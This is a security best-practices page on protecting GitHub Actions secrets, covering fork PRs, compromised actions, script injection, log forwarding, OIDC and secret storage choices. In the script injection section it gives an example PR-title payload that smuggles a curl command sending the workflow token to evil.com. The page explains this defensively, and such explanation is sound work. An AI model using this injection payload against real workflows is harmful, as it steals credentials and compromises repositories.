Skip to content

Best Practices

Secrets Leak Through Multiple Vectors

GitHub Actions secrets can leak through workflow logs, compromised third-party actions, script injection, and fork PR workflows. Default to OIDC federation to eliminate stored credentials. Never interpolate secrets directly in shell commands.

Fork PR Safety Pattern

# Safe - fork workflows don't get secrets

name: CI
on: [pull_request]  # Fork workflows run without secrets

permissions:
  contents: read

jobs:
  test:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11  # v4.1.1
      - run: npm test  # No secrets available

See Workflow Triggers Security for fork workflow patterns.

Exposure Vector 3: Compromised Action

Mechanism: Third-party action exfiltrates secrets

Example:

# DANGEROUS - unknown action with secret access
- uses: sketchy-org/deploy-tool@v1
  env:
    AWS_ACCESS_KEY_ID: ${{ secrets.AWS_KEY }}
    AWS_SECRET_ACCESS_KEY: ${{ secrets.AWS_SECRET }}

Attack: Malicious or compromised action sends secrets to attacker-controlled server.

Prevention: Only use trusted actions, SHA pin everything, minimize secret exposure.

# Better - OIDC eliminates stored secrets
permissions:
  id-token: write

- uses: aws-actions/configure-aws-credentials@5fd3084fc36e372ff1fff382a39b10d03659f355  # v2.2.0
  with:
    role-to-assume: arn:aws:iam::123456789012:role/GitHubActionsRole
    aws-region: us-east-1

See Third-Party Action Risk Assessment for action evaluation framework.

Exposure Vector 4: Script Injection

Mechanism: Untrusted input injected into shell command

Example:

# DANGEROUS - PR title controlled by attacker
- run: echo "PR: ${{ github.event.pull_request.title }}"
  env:
    TOKEN: ${{ secrets.GITHUB_TOKEN }}

Attack: Attacker creates PR with title: "; curl evil.com?token=$TOKEN #"

Result: Command becomes: echo "PR: "; curl evil.com?token=$TOKEN #"

Prevention: Never interpolate untrusted input into shell. Use environment variables.

# Safe - input passed via environment variable
- run: echo "PR title: $PR_TITLE"
  env:
    PR_TITLE: ${{ github.event.pull_request.title }}
    TOKEN: ${{ secrets.GITHUB_TOKEN }}

Exposure Vector 5: Log Aggregation

Mechanism: Secrets sent to third-party log aggregation service

Example:

# Risk - logs forwarded to external service
- run: deploy.sh 2>&1 | tee /dev/stderr
  env:
    SECRET_KEY: ${{ secrets.SECRET_KEY }}

Risk: If workflow logs forwarded to Datadog, Splunk, or similar, secrets may be stored in third-party systems.

Prevention: Audit log forwarding. Ensure secrets masked before external transmission.

Secret Exposure Attack Surface

flowchart TD
    A["Secrets in GitHub Actions"] --> B["Exposure Vectors"]

    B --> C["Workflow Logs"]
    B --> D["Pull Request Workflows"]
    B --> E["Compromised Actions"]
    B --> F["Script Injection"]
    B --> G["Artifact Upload"]

    C --> C1["stdout/stderr leakage"]
    C --> C2["Debug logging"]
    C --> C3["Error messages"]

    D --> D1["pull_request_target misuse"]
    D --> D2["Fork workflow access"]

    E --> E1["Malicious third-party action"]
    E --> E2["Compromised verified action"]

    F --> F1["Untrusted input in commands"]
    F --> F2["Expression injection"]

    G --> G1["Secrets in build artifacts"]
    G --> G2["Container image layers"]

    C1 --> H["Attack Outcomes"]
    C2 --> H
    D1 --> H
    E1 --> H
    F1 --> H
    G1 --> H

    H --> I["Credential Theft"]
    H --> J["Infrastructure Compromise"]
    H --> K["Supply Chain Attack"]

    %% Ghostty Hardcore Theme
    style A fill:#66d9ef,color:#1b1d1e
    style B fill:#fd971e,color:#1b1d1e
    style H fill:#e6db74,color:#1b1d1e
    style I fill:#f92572,color:#1b1d1e
    style J fill:#f92572,color:#1b1d1e
    style K fill:#f92572,color:#1b1d1e

Secret Storage Comparison

Storage Type Scope Access Control Protection Features Use Case
Repository Secret Single repo All workflows in repo None Repo-specific credentials
Organization Secret Multiple repos All/private/selected repos Repository selection Shared team credentials
Environment Secret Environment Workflows targeting environment Required reviewers, wait timer, branch restrictions Production credentials
OIDC Token Workflow runtime id-token: write permission Cloud provider claim validation, short-lived Cloud authentication

Security Best Practices

Use environment secrets for production: Environment protection rules add approval gates and audit trail.

Prefer OIDC over long-lived credentials: Eliminates stored secrets, reduces rotation burden, limits blast radius.

Minimize secret exposure: Only expose secrets to jobs that need them. Use job-level environment variables.

permissions:
  contents: read

jobs:
  deploy:
    environment: production
    steps:
      - run: ./deploy.sh
        env:
          PROD_KEY: ${{ secrets.PROD_KEY }}  # Scoped to this step

Never log secrets: Avoid echo, printf, or debug output with secret values. Masking is best-effort, not guaranteed.

Audit secret access: Use GitHub audit log to track secret changes and access patterns.

Rotate secrets regularly: Implement automated rotation for long-lived credentials.

See Secret Rotation Patterns for automation workflows.

Use secret scanning: Enable push protection to prevent accidental commits.

See Secret Scanning Integration for detection and response.

Restrict pull_request_target: Only use with extreme caution. Prefer pull_request for untrusted code.

Review workflow changes carefully: Changes to .github/workflows/ can exfiltrate secrets. Require security review.

Next Steps

Ready to implement secure secret management? Continue with:

Quick Reference

Secret Type Selection

Requirement Use This Notes
Single repo credentials Repository secret Isolated to one project
Team-wide credentials Organization secret (selected repos) Explicit allowlist required
Production credentials Environment secret Add required reviewers
Cloud authentication OIDC token No stored secrets, preferred
Non-sensitive config Configuration variable Plaintext, not masked

Exposure Prevention

Risk Mitigation Effort
Workflow logs Never interpolate secrets in commands Low
Fork PRs Use pull_request, not pull_request_target Low
Third-party actions SHA pin, audit source, use OIDC Medium
Script injection Environment variables, not interpolation Low
Secret sprawl OIDC federation, automated rotation High

OIDC First, Secrets Only When Necessary

Default to OIDC federation for cloud authentication. Stored secrets should be the exception, not the default. Every long-lived credential is a liability waiting to leak.

Comments